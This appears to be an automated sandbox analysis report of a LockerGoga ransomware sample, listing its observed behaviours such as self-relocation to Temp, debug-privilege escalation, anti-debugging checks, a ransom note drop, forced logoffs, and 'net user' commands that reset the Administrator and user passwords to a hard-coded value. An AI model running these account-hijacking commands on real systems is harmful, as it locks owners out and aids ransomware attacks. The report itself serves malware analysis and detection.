Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_00107FF7	23_2_00107FF7
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000CBFEB	23_2_000CBFEB

Found potential string decryption / allocating functions

Show sources

Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: String function: 00064B00 appears 43 times
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: String function: 000EE140 appears 58 times
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: String function: 000EDE0E appears 163 times
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: String function: 000EDE42 appears 71 times
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: String function: 000ED2D0 appears 59 times
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: String function: 00064B00 appears 43 times

Sample file is different than original file name gathered from version info

Show sources

Source: LockerGogaRecent.exe, 00000000.00000002.1665362832.0017B000.00000002.sdmp	Binary or memory string: OriginalFilenametgytutrcB vs LockerGogaRecent.exe
Source: LockerGogaRecent.exe	Binary or memory string: OriginalFilenametgytutrcB vs LockerGogaRecent.exe

Tries to load missing DLLs

Show sources

Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Section loaded: ext-ms-win-kernel32-package-current-l1-1-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Section loaded: ext-ms-win-kernel32-package-current-l1-1-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Section loaded: ext-ms-win-kernel32-package-current-l1-1-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Section loaded: ext-ms-win-kernel32-package-current-l1-1-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Section loaded: ext-ms-win-kernel32-package-current-l1-1-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Section loaded: ext-ms-win-kernel32-package-current-l1-1-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Section loaded: ext-ms-win-kernel32-package-current-l1-1-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Section loaded: ext-ms-win-kernel32-package-current-l1-1-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Section loaded: ext-ms-win-kernel32-package-current-l1-1-0.dll
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Section loaded: ext-ms-win-kernel32-package-current-l1-1-0.dll
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Section loaded: ext-ms-win-kernel32-package-current-l1-1-0.dll
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Section loaded: ext-ms-win-kernel32-package-current-l1-1-0.dll

Classification label

Show sources

Source: classification engine

Classification label: mal100.rans.phis.spyw.winEXE@99/123@0/0

Contains functionality to adjust token privileges (e.g. debug / backup)

Show sources

Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_00061760 GetCurrentProcess,OpenProcessToken,GetLastError,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,		0_2_00061760
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_00061760 GetCurrentProcess,OpenProcessToken,GetLastError,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,		23_2_00061760

Contains functionality to instantiate COM classes

Show sources

Source: C:\Users\user\Desktop\LockerGogaRecent.exe

Code function: 0_2_0005B450 CoCreateInstance,

0_2_0005B450

Creates files inside the user directory

Show sources

Source: C:\Users\user\Desktop\LockerGogaRecent.exe

File created: C:\Users\Public\Desktop\README_LOCKED.txt

Jump to behavior

Found command line output

Show sources

Source: C:\Windows\System32\cmd.exe	Console Write: ........n#.......... . . . . . . . .1. .f.i.l.e.(.s.). .m.o.v.e.d.......V.KJ..%.(..(......%.......Ww..%.4...`.....,.....	Jump to behavior
Source: C:\Windows\System32\net1.exe	Console Write: ....................T.h.e. .c.o.m.m.a.n.d. .c.o.m.p.l.e.t.e.d. .s.u.c.c.e.s.s.f.u.l.l.y.........O...4...J...........8...	Jump to behavior
Source: C:\Windows\System32\net1.exe	Console Write: ..........................0.................yO..........................e.s.s.f.u.l.l.y.........O...4.........#.........	Jump to behavior
Source: C:\Windows\System32\net1.exe	Console Write: ....................T.h.e. .c.o.m.m.a.n.d. .c.o.m.p.l.e.t.e.d. .s.u.c.c.e.s.s.f.u.l.l.y.......%.O.F.d.%.J...........8.G.	Jump to behavior
Source: C:\Windows\System32\net1.exe	Console Write: ..........................0..... ...l...8....Q..........................e.s.s.f.u.l.l.y.......%.O.F.d.%.....l...........	Jump to behavior

PE file has an executable .text section and no other executable section

Show sources

Source: LockerGogaRecent.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Reads software policies

Show sources

Source: C:\Users\user\Desktop\LockerGogaRecent.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Sample is known by Antivirus

Show sources

Source: LockerGogaRecent.exe	virustotal: Detection: 62%
Source: LockerGogaRecent.exe	metadefender: Detection: 21%

Sample might require command line arguments (.Net)

Show sources

Source: LockerGogaRecent.exe

String found in binary or memory: 3http://crl.usertrust.com/AddTrustExternalCARoot.crl05

Spawns processes

Show sources

Source: unknown	Process created: C:\Users\user\Desktop\LockerGogaRecent.exe 'C:\Users\user\Desktop\LockerGogaRecent.exe'
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c move /y C:\Users\user\Desktop\LockerGogaRecent.exe C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -m
Source: unknown	Process created: C:\Windows\System32\logoff.exe C:\Windows\system32\logoff.exe
Source: unknown	Process created: C:\Windows\System32\logoff.exe C:\Windows\system32\logoff.exe
Source: unknown	Process created: C:\Windows\System32\logoff.exe C:\Windows\system32\logoff.exe
Source: unknown	Process created: C:\Windows\System32\logoff.exe C:\Windows\system32\logoff.exe
Source: unknown	Process created: C:\Windows\System32\logoff.exe C:\Windows\system32\logoff.exe
Source: unknown	Process created: C:\Windows\System32\logoff.exe C:\Windows\system32\logoff.exe
Source: unknown	Process created: C:\Windows\System32\net.exe C:\Windows\system32\net.exe user Administrator HuHuHUHoHo283283@dJD
Source: unknown	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user Administrator HuHuHUHoHo283283@dJD
Source: unknown	Process created: C:\Windows\System32\net.exe C:\Windows\system32\net.exe user user HuHuHUHoHo283283@dJD
Source: unknown	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user user HuHuHUHoHo283283@dJD
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c move /y C:\Users\user\Desktop\LockerGogaRecent.exe C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe	Jump to behavior
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Process created: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -m	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Windows\System32\logoff.exe C:\Windows\system32\logoff.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Windows\System32\logoff.exe C:\Windows\system32\logoff.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Windows\System32\logoff.exe C:\Windows\system32\logoff.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Windows\System32\logoff.exe C:\Windows\system32\logoff.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Windows\System32\logoff.exe C:\Windows\system32\logoff.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Windows\System32\logoff.exe C:\Windows\system32\logoff.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Windows\System32\net.exe C:\Windows\system32\net.exe user Administrator HuHuHUHoHo283283@dJD	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Windows\System32\net.exe C:\Windows\system32\net.exe user user HuHuHUHoHo283283@dJD	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe -i SM-tgytutrc -s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Windows\System32\logoff.exe C:\Windows\system32\logoff.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Windows\System32\logoff.exe C:\Windows\system32\logoff.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Windows\System32\net.exe C:\Windows\system32\net.exe user Administrator HuHuHUHoHo283283@dJD	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user user HuHuHUHoHo283283@dJD	Jump to behavior
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user Administrator HuHuHUHoHo283283@dJD	Jump to behavior
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user user HuHuHUHoHo283283@dJD	Jump to behavior

Found graphical window changes (likely an installer)

Show sources

Source: Window Recorder

Window detected: More than 3 window changes detected

Submission file is bigger than most known malware samples

Show sources

Source: LockerGogaRecent.exe

Static file information: File size 1268600 > 1048576

PE file contains a mix of data directories often seen in goodware

Show sources

Source: LockerGogaRecent.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: LockerGogaRecent.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: LockerGogaRecent.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: LockerGogaRecent.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: LockerGogaRecent.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: LockerGogaRecent.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Contains modern PE file flags such as dynamic base (ASLR) or NX

Show sources

Source: LockerGogaRecent.exe

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

PE file contains a debug data directory

Show sources

Source: LockerGogaRecent.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

PE file contains a valid data directory to section mapping

Show sources

Source: LockerGogaRecent.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: LockerGogaRecent.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: LockerGogaRecent.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: LockerGogaRecent.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: LockerGogaRecent.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation:

Contains functionality to dynamically determine API calls

Show sources

Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe

Code function: 23_2_000FC820 LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

23_2_000FC820

Uses code obfuscation techniques (call, push, ret)

Show sources

Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_000EE186 push ecx; ret	0_2_000EE199
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_000EDDD7 push ecx; ret	0_2_000EDDEA
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000EDDD7 push ecx; ret	23_2_000EDDEA
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000EE186 push ecx; ret	23_2_000EE199

Persistence and Installation Behavior:

Creates license or readme file

Show sources

Source: C:\Users\user\Desktop\LockerGogaRecent.exe

File created: C:\Users\Public\Desktop\README_LOCKED.txt

Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Moves itself to temp directory

Show sources

Source: c:\users\user\desktop\lockergogarecent.exe

File moved: C:\Users\user~1\AppData\Local\Temp\tgytutrc3979.exe

Jump to behavior

Extensive use of GetProcAddress (often used to hide API calls)

Show sources

Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe

Code function: 23_2_000DAA9B GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

23_2_000DAA9B

Disables application error messsages (SetErrorMode)

Show sources

Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Enumerates the file system

Show sources

Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File opened: C:\Program Files\Adobe\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File opened: C:\Program Files\Adobe\Reader 11.0\Reader\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File opened: C:\Program Files\Adobe\Reader 11.0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File opened: C:\Program Files\Adobe\Reader 11.0\Reader\AcroExt\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File opened: C:\Program Files\Adobe\Reader 11.0\Esl\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	File opened: C:\Program Files\Adobe\Reader 11.0\Reader\AcroExt\locales\	Jump to behavior

Contains functionality to enumerate / list files inside a directory

Show sources

Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_000A9970 FindFirstFileW,GetLastError,GetLastError,GetLastError,GetLastError,	0_2_000A9970
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_00124A3B FindFirstFileExA,	23_2_00124A3B
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_000A9970 FindFirstFileW,GetLastError,GetLastError,GetLastError,GetLastError,	23_2_000A9970

Contains functionality to query local drives

Show sources

Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe

Code function: 23_2_0005CE90 GetLogicalDriveStringsW,GetDriveTypeW,GetDriveTypeW,

23_2_0005CE90

Contains functionality to query system information

Show sources

Source: C:\Users\user\Desktop\LockerGogaRecent.exe

Code function: 0_2_00051280 GetSystemInfo,

0_2_00051280

May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)

Show sources

Source: LockerGogaRecent.exe, 00000000.00000002.1667079524.004E4000.00000004.sdmp

Binary or memory string: vmbusres.dll

Queries a list of all running processes

Show sources

Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging:

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Show sources

Source: C:\Users\user\Desktop\LockerGogaRecent.exe

System information queried: KernelDebuggerInformation

Jump to behavior

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Show sources

Source: C:\Users\user\Desktop\LockerGogaRecent.exe

Code function: 0_2_0010F271 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_0010F271

Contains functionality to dynamically determine API calls

Show sources

Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe

Code function: 23_2_000FC820 LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

23_2_000FC820

Contains functionality to read the PEB

Show sources

Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Code function: 0_2_001190D7 mov eax, dword ptr fs:[00000030h]		0_2_001190D7
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Code function: 23_2_001190D7 mov eax, dword ptr fs:[00000030h]		23_2_001190D7

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Show sources

Source: C:\Users\user\Desktop\LockerGogaRecent.exe

Code function: 0_2_000947F0 ReleaseMutex,GetTickCount,EnumDependentServicesW,GetLastError,GetProcessHeap,HeapAlloc,EnumDependentServicesW,OpenServiceW,ControlService,Sleep,QueryServiceStatusEx,GetTickCount,@_EH4_CallFilterFunc@8,

0_2_000947F0

Enables debug privileges

Show sources

Source: C:\Users\user\Desktop\LockerGogaRecent.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\tgytutrc3979.exe	Process token adjusted: Debug
